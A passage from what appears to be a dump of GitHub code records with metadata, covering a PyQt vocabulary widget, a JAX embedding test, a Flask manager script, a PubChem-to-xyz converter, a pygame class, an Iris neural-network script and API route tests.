QEvent, QThreadPool\nfrom API.google_trans_API import GoogleTranslate\nfrom database_folder.vocabulary import Vocabulary\nfrom word_definer.definition_finder import DefinitionFinder, GoogleTranslateWorker\nclass WordDefiner(QWidget):\n word_saved_signal = pyqtSignal()\n\n def __init__(self):\n super().__init__()\n self.set_up_gui()\n self.unknown_btn.clicked.connect(lambda: self.save_word(confidence=\"unknown\"))\n self.semi_known_btn.clicked.connect(lambda: self.save_word(confidence=\"semi-known\"))\n self.known_btn.clicked.connect(lambda: self.save_word(confidence=\"known\"))\n self.setContentsMargins(0,0,0,0)\n self.setWindowFlag(Qt.WindowStaysOnTopHint)\n self.setGeometry(0,0,300,100)\n self.thread_pool = QThreadPool()\n\n def set_up_gui(self):\n self.text_editor = QTextEdit()\n self.text_editor.setMinimumHeight(30)\n # self.text_editor.setMaximumHeight(30)\n self.text_editor.setFont(QFont(\"Arial\", 12))\n\n #display selected word\n self.selected_word_label = QLabel()\n self.selected_word_label.setFont(QFont(\"Arial\",15))\n self.selected_word_label.setMaximumHeight(30)\n\n #buttons\n self.unknown_btn = QPushButton(\"Unknown\")\n self.semi_known_btn = QPushButton(\"Semi-Known\")\n self.known_btn = QPushButton(\"Known\")\n self.unknown_btn.setStyleSheet(f\"background-color : rgb(255,0,0)\")\n self.semi_known_btn.setStyleSheet(f\"background-color : rgb(255,255,0)\")\n self.known_btn.setStyleSheet(f\"background-color : rgb(0,255,0)\")\n color_btn_layout = QHBoxLayout() \n color_btn_layout.addWidget(self.unknown_btn) \n color_btn_layout.addWidget(self.semi_known_btn)\n color_btn_layout.addWidget(self.known_btn)\n\n self.main_layout = QVBoxLayout()\n self.main_layout.addWidget(self.selected_word_label)\n self.main_layout.addWidget(self.text_editor)\n self.main_layout.addLayout(color_btn_layout)\n self.main_layout.setContentsMargins(0,0,0,0)\n self.setLayout(self.main_layout)\n\n def set_definition_text(self, text):\n self.definition_text = text\n self.text_editor.setText(text)\n \n def look_up_word(self,text):\n self.set_selection_text(text)\n\n from_db = Vocabulary().fetch_single_exact_vocab(text)\n if from_db != None:\n self.set_definition_text(from_db)\n else:\n google_translate = GoogleTranslateWorker(text)\n google_translate.signals.finished.connect(lambda x : self.set_definition_text(x))\n self.thread_pool.start(google_translate)\n\n def set_selection_text(self, text):\n self.selected_word = text\n self.selected_word_label.setText(f\"{text}\")\n \n def save_word(self,confidence):\n definition = self.text_editor.toPlainText()\n # word = self.selected_word.lower()\n Vocabulary().add_word_to_database(self.selected_word, definition, confidence)\n self.clear_ui()\n self.word_saved_signal.emit()\n \n def clear_ui(self):\n self.text_editor.clear()\n self.selected_word_label.clear()\n self.selected_word = \"\"\n self.definition_text = \"\"\n self.google_suggestion = \"\"\n \n def move_to_click_position(self,pos):\n width = self.width()\n height = self.height()\n # make sure it doesn't go off the side \n x = int(pos.x())\n y = int(pos.y())\n dis_cen = width/2 # minimum allowed distance from the center, in other words don't go past this limit otherwise it will be cut off the screen.\n while x <= dis_cen: # if passes the limit add 1 until it is no longer past the limit.\n x += 1\n if x > dis_cen:\n x = x-dis_cen # center over click pos\n y = y - height/2 # center over click pos\n y = y - 120 # offset above click pos\n self.move(int(x),int(y))\n \n", "repo_name": "BenBKirk/Langsoft", "sub_path": "src/word_definer/word_definer.py", "file_name": "word_definer.py", "file_ext": "py", "file_size_in_byte": 4144, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 8, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 9, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.WindowStaysOnTopHint", "line_number": 18, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 18, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QThreadPool", "line_number": 20, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTextEdit", "line_number": 23, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 26, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 29, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 30, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 34, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 35, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 36, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 40, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 45, "usage_type": "call"}, {"api_name": "database_folder.vocabulary.Vocabulary", "line_number": 59, "usage_type": "call"}, {"api_name": "word_definer.definition_finder.GoogleTranslateWorker", "line_number": 63, "usage_type": "call"}, {"api_name": "database_folder.vocabulary.Vocabulary", "line_number": 74, "usage_type": "call"}]} {"seq_id": "33347154642", "text": "from jax import (\n numpy as jnp,\n random,\n nn\n)\nimport pytest\nfrom mlax.nn import Embed\nfrom mlax._test_utils import layer_test_results, assert_equal_array\n\ndef range_initializer(key, shape, dtype):\n assert len(shape) == 2\n assert shape[1] == 1\n return jnp.expand_dims(jnp.arange(shape[0], dtype=dtype), axis=1)\n\n@pytest.mark.parametrize(\n \"config,x,expected_embed_kernel,expected_output\",\n [\n (\n {\n \"rng\": random.PRNGKey(0),\n \"vocab_size\": 10,\n \"embed_dim\": 8,\n \"embed_initializer\": nn.initializers.ones,\n \"dtype\": jnp.float32\n },\n jnp.arange(11),\n jnp.ones((10, 8), dtype=jnp.float32),\n jnp.concatenate(\n [\n jnp.ones((10, 8), jnp.float32),\n jnp.full((1, 8), jnp.nan, jnp.float32)\n ]\n )\n ),\n (\n {\n \"rng\": random.PRNGKey(1),\n \"vocab_size\": 8,\n \"embed_dim\": 12,\n \"embed_initializer\": nn.initializers.zeros,\n \"dtype\": jnp.int16\n },\n jnp.arange(9, dtype=jnp.int8),\n jnp.zeros((8, 12), jnp.int16),\n jnp.concatenate(\n [\n jnp.zeros((8, 12), jnp.int16),\n jnp.full((1, 12), -jnp.inf, jnp.int16)\n ]\n )\n ),\n (\n {\n \"rng\": random.PRNGKey(2),\n \"vocab_size\": 16,\n \"embed_dim\": 1,\n \"embed_initializer\": range_initializer,\n \"dtype\": jnp.float16\n },\n jnp.arange(18, dtype=jnp.int16),\n jnp.expand_dims(jnp.arange(16, dtype=jnp.float16), axis=1),\n jnp.expand_dims(\n jnp.concatenate([\n jnp.arange(16, dtype=jnp.float16),\n jnp.full(2, jnp.nan, jnp.float16)\n ]),\n axis=1\n )\n )\n ]\n)\ndef test_embed(config, x, expected_embed_kernel, expected_output):\n layer, (t_acts, new_t_layer), (i_acts, new_i_layer) = layer_test_results(\n Embed, config, x\n )\n assert_equal_array(layer.embed_kernel.data, expected_embed_kernel)\n\n assert_equal_array(t_acts, expected_output)\n assert_equal_array(new_t_layer.embed_kernel.data, expected_embed_kernel)\n\n assert_equal_array(i_acts, expected_output)\n assert_equal_array(new_i_layer.embed_kernel.data, expected_embed_kernel)\n", "repo_name": "zongyf02/mlax", "sub_path": "tests/nn/test_embed.py", "file_name": "test_embed.py", "file_ext": "py", "file_size_in_byte": 2570, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "jax.numpy.expand_dims", "line_number": 13, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 13, "usage_type": "name"}, {"api_name": "jax.numpy.arange", "line_number": 13, "usage_type": "call"}, {"api_name": "mlax._test_utils.layer_test_results", "line_number": 73, "usage_type": "call"}, {"api_name": "mlax.nn.Embed", "line_number": 74, "usage_type": "argument"}, {"api_name": "mlax._test_utils.assert_equal_array", "line_number": 76, "usage_type": "call"}, {"api_name": "mlax._test_utils.assert_equal_array", "line_number": 78, "usage_type": "call"}, {"api_name": "mlax._test_utils.assert_equal_array", "line_number": 79, "usage_type": "call"}, {"api_name": "mlax._test_utils.assert_equal_array", "line_number": 81, "usage_type": "call"}, {"api_name": "mlax._test_utils.assert_equal_array", "line_number": 82, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 15, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 15, "usage_type": "attribute"}, {"api_name": "jax.random.PRNGKey", "line_number": 20, "usage_type": "call"}, {"api_name": "jax.random", "line_number": 20, "usage_type": "name"}, {"api_name": "jax.nn.initializers", "line_number": 23, "usage_type": "attribute"}, {"api_name": "jax.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "jax.numpy.float32", "line_number": 24, "usage_type": "attribute"}, {"api_name": "jax.numpy", "line_number": 24, "usage_type": "name"}, {"api_name": "jax.numpy.arange", "line_number": 26, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 26, "usage_type": "name"}, {"api_name": "jax.numpy.ones", "line_number": 27, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 27, "usage_type": "name"}, {"api_name": "jax.numpy.float32", "line_number": 27, "usage_type": "attribute"}, {"api_name": "jax.numpy.concatenate", "line_number": 28, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 28, "usage_type": "name"}, {"api_name": "jax.numpy.ones", "line_number": 30, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 30, "usage_type": "name"}, {"api_name": "jax.numpy.float32", "line_number": 30, "usage_type": "attribute"}, {"api_name": "jax.numpy.full", "line_number": 31, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 31, "usage_type": "name"}, {"api_name": "jax.numpy.nan", "line_number": 31, "usage_type": "attribute"}, {"api_name": "jax.numpy.float32", "line_number": 31, "usage_type": "attribute"}, {"api_name": "jax.random.PRNGKey", "line_number": 37, "usage_type": "call"}, {"api_name": "jax.random", "line_number": 37, "usage_type": "name"}, {"api_name": "jax.nn.initializers", "line_number": 40, "usage_type": "attribute"}, {"api_name": "jax.nn", "line_number": 40, "usage_type": "name"}, {"api_name": "jax.numpy.int16", "line_number": 41, "usage_type": "attribute"}, {"api_name": "jax.numpy", "line_number": 41, "usage_type": "name"}, {"api_name": "jax.numpy.arange", "line_number": 43, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 43, "usage_type": "name"}, {"api_name": "jax.numpy.int8", "line_number": 43, "usage_type": "attribute"}, {"api_name": "jax.numpy.zeros", "line_number": 44, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 44, "usage_type": "name"}, {"api_name": "jax.numpy.int16", "line_number": 44, "usage_type": "attribute"}, {"api_name": "jax.numpy.concatenate", "line_number": 45, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 45, "usage_type": "name"}, {"api_name": "jax.numpy.zeros", "line_number": 47, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 47, "usage_type": "name"}, {"api_name": "jax.numpy.int16", "line_number": 47, "usage_type": "attribute"}, {"api_name": "jax.numpy.full", "line_number": 48, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 48, "usage_type": "name"}, {"api_name": "jax.numpy.inf", "line_number": 48, "usage_type": "attribute"}, {"api_name": "jax.numpy.int16", "line_number": 48, "usage_type": "attribute"}, {"api_name": "jax.random.PRNGKey", "line_number": 54, "usage_type": "call"}, {"api_name": "jax.random", "line_number": 54, "usage_type": "name"}, {"api_name": "jax.numpy.float16", "line_number": 58, "usage_type": "attribute"}, {"api_name": "jax.numpy", "line_number": 58, "usage_type": "name"}, {"api_name": "jax.numpy.arange", "line_number": 60, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 60, "usage_type": "name"}, {"api_name": "jax.numpy.int16", "line_number": 60, "usage_type": "attribute"}, {"api_name": "jax.numpy.expand_dims", "line_number": 61, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 61, "usage_type": "name"}, {"api_name": "jax.numpy.arange", "line_number": 61, "usage_type": "call"}, {"api_name": "jax.numpy.float16", "line_number": 61, "usage_type": "attribute"}, {"api_name": "jax.numpy.expand_dims", "line_number": 62, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 62, "usage_type": "name"}, {"api_name": "jax.numpy.concatenate", "line_number": 63, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 63, "usage_type": "name"}, {"api_name": "jax.numpy.arange", "line_number": 64, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 64, "usage_type": "name"}, {"api_name": "jax.numpy.float16", "line_number": 64, "usage_type": "attribute"}, {"api_name": "jax.numpy.full", "line_number": 65, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 65, "usage_type": "name"}, {"api_name": "jax.numpy.nan", "line_number": 65, "usage_type": "attribute"}, {"api_name": "jax.numpy.float16", "line_number": 65, "usage_type": "attribute"}]} {"seq_id": "29490275676", "text": "#!/usr/bin/env python\nfrom __future__ import print_function, unicode_literals\nfrom flask_migrate import Migrate, MigrateCommand\nfrom flask_script import Manager, Shell, Server\nfrom rq import Worker, Queue, Connection\nfrom trelolo import create_app\nfrom trelolo.extensions import db, rq\nfrom trelolo.worker import unhook_all\n\n\ndef _make_context():\n ctx = {\n 'app': app\n }\n return ctx\n\n\napp = create_app()\nmigrate = Migrate(app, db)\n\nmanager = Manager(app)\nmanager.add_command('shell', Shell(make_context=_make_context))\nmanager.add_command(\n 'runserver', Server(\n host=app.config['FLASK_HOST'], port=app.config['FLASK_PORT']\n )\n)\nmanager.add_command('db', MigrateCommand)\n\nwith app.app_context():\n q = Queue(\n connection=rq,\n default_timeout=app.config.get('QUEUE_TIMEOUT')\n )\n\n\n@manager.command\ndef unhookall():\n q.enqueue(unhook_all)\n\n\n@manager.command\ndef work():\n with Connection(rq):\n worker = Worker(map(Queue, ['high', 'default', 'low']))\n worker.work()\n\n\nif __name__ == \"__main__\":\n manager.run()\n", "repo_name": "shinyhouse/Trelolo2", "sub_path": "manage.py", "file_name": "manage.py", "file_ext": "py", "file_size_in_byte": 1076, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "trelolo.create_app", "line_number": 18, "usage_type": "call"}, {"api_name": "flask_migrate.Migrate", "line_number": 19, "usage_type": "call"}, {"api_name": "trelolo.extensions.db", "line_number": 19, "usage_type": "argument"}, {"api_name": "flask_script.Manager", "line_number": 21, "usage_type": "call"}, {"api_name": "flask_script.Shell", "line_number": 22, "usage_type": "call"}, {"api_name": "flask_script.Server", "line_number": 24, "usage_type": "call"}, {"api_name": "flask_migrate.MigrateCommand", "line_number": 28, "usage_type": "argument"}, {"api_name": "rq.Queue", "line_number": 31, "usage_type": "call"}, {"api_name": "trelolo.extensions.rq", "line_number": 32, "usage_type": "name"}, {"api_name": "trelolo.worker.unhook_all", "line_number": 39, "usage_type": "argument"}, {"api_name": "rq.Connection", "line_number": 44, "usage_type": "call"}, {"api_name": "trelolo.extensions.rq", "line_number": 44, "usage_type": "argument"}, {"api_name": "rq.Worker", "line_number": 45, "usage_type": "call"}, {"api_name": "rq.Queue", "line_number": 45, "usage_type": "argument"}]} {"seq_id": "31910500961", "text": "'''\n\"pubchem_xyzcoord.py\"\n@h-nabata (2021/10/07 ver1.0)\nA program that obtains the 3D structures of molecules from the compound database \"PubChem\" and converts them into xyz format.\nPubChem: https://pubchem.ncbi.nlm.nih.gov/\n*input: Compound CID\n*output: xyz-format\n'''\n\nimport requests\nimport time\nimport os\n\n# CIDを指定してsdfファイルの内容を取得（ここだけ入力すればOK）\nCID = [10000 + i for i in range(10)]\n\nfor i in range(len(CID)):\n url = \"https://pubchem.ncbi.nlm.nih.gov/rest/pug/compound/CID/\" + str(CID[i]) + \"/record/SDF/?record_type=3d&response_type=display\"\n r = requests.get(url)\n tmp_input_file = \"tmp_3DCoordFile.txt\"\n\n with open(tmp_input_file, encoding='utf-8', mode=\"w\") as f:\n f.write(r.text) # 取得データの書き出し\n\n # xyz座標の取得\n atomnum = 0; atomname = []; atomcoord = []\n with open(tmp_input_file, encoding='utf-8') as f:\n while True: # 読み込める行が無くなるまで繰り返す\n line = f.readline() # ファイル f を1行ずつ読み込んでいく\n elem = line.split() # 読み込んだ行を要素に分割する\n if len(elem) > 10: # 要素数が10を超える行のみ処理する\n atomname.append((elem[3]))\n atomcoord.append([float(elem[0]), float(elem[1]), float(elem[2])])\n atomnum += 1\n if not line:\n break\n\n # 取得データの確認（オプション）\n print(atomnum)\n print(atomname)\n print(atomcoord)\n\n # xyz形式でファイルに出力\n output_file = str(CID[i]) + \".xyz\"\n with open(output_file, mode='w', encoding='utf-8') as outf:\n outf.write(str(atomnum) + \"\\n\" + str(CID[i]) + \"\\n\")\n for i in range(atomnum):\n xc = '{:>17.12f}'.format(float(atomcoord[i][0]))\n yc = '{:>17.12f}'.format(float(atomcoord[i][1]))\n zc = '{:>17.12f}'.format(float(atomcoord[i][2]))\n output_linestr = str(atomname[i]) + xc + yc + zc\n print(output_linestr)\n outf.write(output_linestr + \"\\n\") # 改行が必要\n\n# # 全構造をxyz形式でファイルに出力（オプション）\n# outputall_file = \"C:/Users/\" + str(os.getlogin()) + \"/Downloads/mol_xyz/all.xyz\" # パスはご自由に指定して下さい\n# with open(outputall_file, mode='a', encoding='utf-8') as outf2:\n# outf2.write(str(atomnum) + \"\\n\" + str(CID[i]) + \"\\n\")\n# for j in range(atomnum):\n# output_linestr2 = str(atomname[j]) + \" \" + str(atomcoord[j][0]) + \" \" + str(atomcoord[j][1]) + \" \" + str(atomcoord[j][2]) + \"\\n\"\n# outf2.write(output_linestr2)\n# outf2.write(\"\\n\")\n \n time.sleep(0.5) # 0.5秒sleepする（オプション）\n", "repo_name": "h-nabata/utility", "sub_path": "Python/pubchem_xyzcoord.py", "file_name": "pubchem_xyzcoord.py", "file_ext": "py", "file_size_in_byte": 2812, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.get", "line_number": 19, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 64, "usage_type": "call"}]} {"seq_id": "72673197691", "text": "# -*- coding: utf-8 -*-\n# 导入sys\nimport sys\n# 任何一个PySide界面程序都需要使用QApplication\n# 我们要展示一个普通的窗口，所以需要导入QWidget，用来让我们自己的类继承\nfrom PySide2.QtWidgets import QApplication, QWidget\n# 导入我们生成的界面\nfrom ui_hello import Ui_Form\n\n\n# 继承QWidget类，以获取其属性和方法\nclass MyWidget(QWidget):\n def __init__(self):\n super().__init__()\n # 设置界面为我们生成的界面\n self.ui = Ui_Form()\n self.ui.setupUi(self)\n\n\n# 程序入口\nif __name__ == \"__main__\":\n # 初始化QApplication，界面展示要包含在QApplication初始化之后，结束之前\n app = QApplication(sys.argv)\n\n # 初始化并展示我们的界面组件\n window = MyWidget()\n window.show()\n\n # 结束QApplication\n sys.exit(app.exec_())\n # 注意，在PySide6中，需要使用app.exec()\n # sys.exit(app.exec())", "repo_name": "bfss/pyside2_howto", "sub_path": "HelloWorld/hello.py", "file_name": "hello.py", "file_ext": "py", "file_size_in_byte": 948, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "PySide2.QtWidgets.QWidget", "line_number": 12, "usage_type": "name"}, {"api_name": "ui_hello.Ui_Form", "line_number": 16, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QApplication", "line_number": 23, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 23, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 30, "usage_type": "call"}]} {"seq_id": "37981341314", "text": "import pygame\nfrom Dic import *\nfrom Values import *\nfrom System import *\n\n\nimg_HealKit1=pygame.image.load(img_Dic+'HealKit1.png') # 작은 사이즈\nimg_HealKit2=pygame.image.load(img_Dic+'HealKit2.png')\nimg_HealKit3=pygame.image.load(img_Dic+'HealKit3.png') # 큰 사이즈\n\nclass HealKit(object):\n def __init__(self,x,y,num):\n self.x = x\n self.y = y\n self.vel = 5\n self.num=num\n self.hitbox = (self.x, self.y, HealKitSize, HealKitSize) # hit 박스\n self.geted=False\n self.size=HealSize-50*(3-num)\n\n def draw(self, screen):\n #self.move()\n if not self.geted: # 미획득시\n if self.num == 1:\n img_HealKit=img_HealKit1\n elif self.num == 2:\n img_HealKit = img_HealKit2\n elif self.num == 3:\n img_HealKit = img_HealKit3\n\n screen.blit(img_HealKit, (self.x, self.y))\n #color = (0, 128, 0)\n #pygame.draw.rect(screen, color, (self.x, self.y,HealKitSize, HealKitSize))\n\n #def move(self):\n #if not self.geted: # 미획득시\n #self.x-=self.vel\n\n", "repo_name": "0andme/Python-Shooting-Game", "sub_path": "Healkit.py", "file_name": "Healkit.py", "file_ext": "py", "file_size_in_byte": 1146, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pygame.image.load", "line_number": 7, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 7, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 9, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 9, "usage_type": "attribute"}]} {"seq_id": "73888377532", "text": "## NN_digits_main.py\r\n## Main function to test the Neural Network - digits.\r\n#####################################################\r\n\r\n## 4-Layers NN: [28*28, 60, 15, 10].\r\n## Image size is 28 x 28 pixels.\r\n##\r\n\r\n\r\nfrom import_data import load_data;\r\nfrom NN_Model import NN_Model, one_hot;\r\nfrom random import randint;\r\nfrom numpy import save as np_save, load as np_load;\r\n\r\nimport numpy as np;\r\nimport os;\r\nimport matplotlib.pyplot as plt; # To plot Cost vs. # of iterations.\r\n\r\nCURRENT_PATH = os.getcwd();\r\n#CURRENT_HOME = (os.path.expanduser('~'))\r\n\r\nGrad_Descent_Method, Minimize_funct_method = True, False;\r\n\r\nPLOT_COST = True; ## Plot J_cost vs. # of iterations to check if J_cost converges to minimum. \r\nLOAD_PREV_THETAS = False; ## Load the previous trained weights. Otherwise, randomize initial weights.\r\nCONTINUOUS_TRAINING = True; ## If True, then it will train the NN (10k training iterations.)\r\nCOUNT_ERROR = False; ## Compute the error rate of the trained prediction function.\r\n ## against the test samples (60k images). So far, ~8.5% error.\r\n\r\nCLASS_GROUPS = (\"Iris Setosa\", \"Iris Versicolour\", \"Iris Virginica\");\r\n\r\ndef plot_iris_data(x, y):\r\n ## Using matplotlib to display the gray-scaled digit image.\r\n \r\n ## Preparing data by classification groups\r\n groups_sepal = [0]*max(y+1);\r\n groups_petal = [0]*max(y+1);\r\n\r\n for i in range(len(y)):\r\n\r\n if groups_sepal[y[i]] == 0:\r\n groups_sepal[y[i]] = ( [ x[i][0] ], [ x[i][1] ]);\r\n groups_petal[y[i]] = ( [ x[i][2] ], [ x[i][3] ]);\r\n \r\n else:\r\n groups_sepal[y[i]][0].append( x[i][0] );\r\n groups_sepal[y[i]][1].append( x[i][1] );\r\n groups_petal[y[i]][0].append( x[i][2] );\r\n groups_petal[y[i]][1].append( x[i][3] );\r\n \r\n\r\n\r\n ## Setting up the plot variables.\r\n COLOR_LOOKUP = {0:'red', 1:'green', 2:'yellow'};\r\n colors = ('red', 'green', 'blue');\r\n\r\n #fig = plt.figure();\r\n fig, (ax_sepal, ax_petal) = plt.subplots(2, sharex = True);\r\n\r\n ## Plotting Sepal length and width.\r\n for data, color, group in zip(groups_sepal, colors, CLASS_GROUPS):\r\n x, y = data;\r\n ax_sepal.scatter( x, y , alpha=0.8, c = color, edgecolors='none', s=30, label=group);\r\n\r\n plt.title('Iris Sepal & Petal Length and Width'); \r\n\r\n ## Plotting Petal length and width.\r\n for data, color, group in zip(groups_petal, colors, CLASS_GROUPS):\r\n x, y = data;\r\n ax_petal.scatter( x, y , alpha=0.8, c = color, edgecolors='none', s=30, label=group);\r\n\r\n plt.legend(loc=1);\r\n plt.show();\r\n return;\r\n\r\ndef main():\r\n\r\n x_data, y_data = load_data(); ## Set parameter to True for initial download.\r\n ## Once data is present, set this to False to\r\n ## prevent re-downloading data.\r\n\r\n ## Plotting the Iris Petal and Sepal length and width.\r\n plot_iris_data(x_data, y_data);\r\n\r\n y_data = one_hot(y_data);\r\n\r\n #Split data: 80% test set, 20% validation set.\r\n i_80 = int(len(y_data)*0.8);\r\n x_train, y_train = x_data[:i_80], y_data[:i_80];\r\n x_test, y_test = x_data[i_80:], y_data[i_80:];\r\n\r\n\r\n iris_nn = NN_Model ( x_train, ## input data.\r\n y_train, ## output data.\r\n 3, ## 3 NN layers: Input, hidden-layer, output.\r\n [4,4,3] ); ## num of nodes for each layer.\r\n\r\n \r\n\r\n\r\n if Grad_Descent_Method:\r\n print(\"\\nNeural Network XNOR - using GRADIENT DESCENT ITERATION\\n\", \"#\"*30, \"\\n\"); \r\n\r\n # File location where learned weight is saved.\r\n theta_file = CURRENT_PATH + r'/' + 'theta.npy';\r\n\r\n\r\n if LOAD_PREV_THETAS:\r\n flat_thetas = np_load( theta_file);\r\n iris_nn.unflatten_Thetas( flat_thetas);\r\n\r\n if CONTINUOUS_TRAINING:\r\n iris_nn.train_NN();\r\n np_save( theta_file, iris_nn.flatten_Thetas());\r\n\r\n else:\r\n iris_nn.train_NN();\r\n np_save( theta_file, iris_nn.flatten_Thetas());\r\n \r\n # Display final cost after learning iterations.\r\n print(\"Final Cost J = \", iris_nn.J_cost(iris_nn.a[-1]));\r\n\r\n\r\n if PLOT_COST:\r\n \r\n # Plot the J Cost vs. # of iterations. J should coverge as iteration increases.\r\n x_axis = range(len(iris_nn.J_cost_values));\r\n y_axis = iris_nn.J_cost_values;\r\n\r\n plt.plot( x_axis, y_axis, label='J_cost vs. # of Iterations');\r\n plt.show();\r\n \r\n \r\n # Test model accuracy on Validation/Test set.\r\n acc_count = 0;\r\n for i in range( len(x_test)):\r\n\r\n x_input = x_test[i].flatten();\r\n y_val = np.argmax(y_test[i]);\r\n y_pred = iris_nn.predict( x_input )[0];\r\n #print(y_pred, y_val);\r\n\r\n if y_pred == y_val: acc_count += 1;\r\n \r\n\r\n print( \"Test Accuraccy = {}\".format( acc_count/len(x_test)));\r\n\r\n\r\n\r\n return 0;\r\n\r\n\r\nif __name__ == \"__main__\": main();\r\n", "repo_name": "itandjaya/Iris-Classification", "sub_path": "NN_IRIS_main.py", "file_name": "NN_IRIS_main.py", "file_ext": "py", "file_size_in_byte": 5457, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.getcwd", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "import_data.load_data", "line_number": 78, "usage_type": "call"}, {"api_name": "NN_Model.one_hot", "line_number": 85, "usage_type": "call"}, {"api_name": "NN_Model.NN_Model", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "numpy.argmax", "line_number": 139, "usage_type": "call"}]} {"seq_id": "12031823291", "text": "\"\"\"\nTests for Semantic route\n\"\"\"\nfrom bson.objectid import ObjectId\n\nfrom tests.unit.routes.base import BaseRelationshipApiTestSuite\n\n\nclass TestSemanticApi(BaseRelationshipApiTestSuite):\n \"\"\"\n TestSemanticApi class\n \"\"\"\n\n class_name = \"Semantic\"\n base_route = \"/semantic\"\n unknown_id = ObjectId()\n semantic_id = ObjectId()\n payload = {\"_id\": str(semantic_id), \"name\": \"EVENT_TIMESTAMP\"}\n semantic_names = []\n quoted_semantic_names = []\n create_conflict_payload_expected_detail_pairs = [\n (payload, f'Semantic (id: \"{payload[\"_id\"]}\") already exists.')\n ]\n create_unprocessable_payload_expected_detail_pairs = []\n create_parent_unprocessable_payload_expected_detail_pairs = [\n (\n {\"id\": str(unknown_id)},\n f'Semantic (id: \"{unknown_id}\") not found. Please save the Semantic object first.',\n )\n ]\n\n def multiple_success_payload_generator(self, api_client):\n \"\"\"Post multiple success responses\"\"\"\n _ = api_client\n semantic_names = [\"EVENT_ID\", \"EVENT_TIMESTAMP\", \"ITEM_ID\"]\n for semantic in semantic_names:\n payload = self.payload.copy()\n payload[\"_id\"] = str(ObjectId())\n payload[\"name\"] = semantic\n yield payload\n", "repo_name": "featurebyte/featurebyte", "sub_path": "tests/unit/routes/test_semantic.py", "file_name": "test_semantic.py", "file_ext": "py", "file_size_in_byte": 1276, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 49, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tests.unit.routes.base.BaseRelationshipApiTestSuite", "line_number": 9, "usage_type": "name"}, {"api_name": "bson.objectid.ObjectId", "line_number": 16, "usage_type": 